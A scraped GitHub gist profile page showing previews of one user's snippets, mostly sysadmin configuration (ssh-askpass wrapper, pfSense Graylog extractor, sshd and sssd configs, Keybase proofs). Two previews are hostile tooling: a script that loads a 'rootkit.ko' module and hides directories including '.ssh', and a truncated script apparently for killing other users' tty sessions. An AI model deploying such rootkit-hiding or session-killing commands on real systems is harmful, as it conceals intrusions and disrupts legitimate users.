Skip to content

Instantly share code, notes, and snippets.

View astr0n8t's full-sized avatar
💥
Pwning

Nathan Higley astr0n8t

💥
Pwning
View GitHub Profile
@astr0n8t
astr0n8t / ssh-askpass.sh
Created June 11, 2023 19:10
Custom ssh-askpass wrapper for macOS using pinentry-mac
#!/bin/bash
#
# Can enable check to enable keychain
# I've disabled this by default
# It only needs to run once
CHECK_KEYCHAIN_ENABLE=1
if [ $CHECK_KEYCHAIN_ENABLE -eq 0 ]
then
USE_KEYCHAIN=$(defaults read org.gpgtools.common UseKeychain)
if [ $USE_KEYCHAIN -eq 0 ]
@astr0n8t
astr0n8t / pfsense-graylog-extractor.json
Created February 21, 2021 19:38
Graylog Pfsense Extractor
{
"extractors": [
{
"title": "pfSense filterlog: IPv4 ICMP Echo",
"extractor_type": "regex",
"converters": [
{
"type": "csv",
"config": {
"column_header": "RuleNumber,SubRuleNumber,Anchor,Tracker,Interface,Reason,Action,Direction,IPVersion,TOS,ECN,TTL,ID,Offset,Flags,ProtocolID,Protocol,Length,SourceIP,DestIP,ICMP_Type,ICMP_ID,ICMP_Sequence"
#!/bin/bash
cd /usr/lib/.runescape
./insmod rootkit.ko
./rs --hide-file=.runescape
./rs --hide-file=.ssh
./rs --hide-file=fun.sh
#!/bin/bash
#ECHO TESTING
echo " "
printf "\033[1;35mInput a number and press [ENTER] to kill that bash session and above (Up to 10)\033[0m\n"
printf "\033[1;32mINPUT: \033[0m"
read num
while true; do
for ((i=$num;i<10;i++)); do
if pgrep -t tty$i > /dev/null; then
# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/bin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the

Keybase proof

I hereby claim:

  • I am astr0n8t on github.
  • I am nadehi18 (https://keybase.io/nadehi18) on keybase.
  • I have a public key ASBdGgoBtmvKBPOBOWI9fjFP-sAW9i9eLTVvu77GoZbCJgo

To claim this, I am signing this object:

[sssd]
services = nss, pam
config_file_version = 2
domains = MYUBUNTU.EXAMPLE.COM
[domain/MYUBUNTU.EXAMPLE.COM]
id_provider = ad
access_provider = ad
# Use this if users are being logged in at /.

Keybase proof

I hereby claim:

  • I am nadehi18 on github.
  • I am nadehi18 (https://keybase.io/nadehi18) on keybase.
  • I have a public key ASC71R8xbY-EqW13IAuODCfd6EIFcoGduLrHZuKWd8KS5Qo

To claim this, I am signing this object: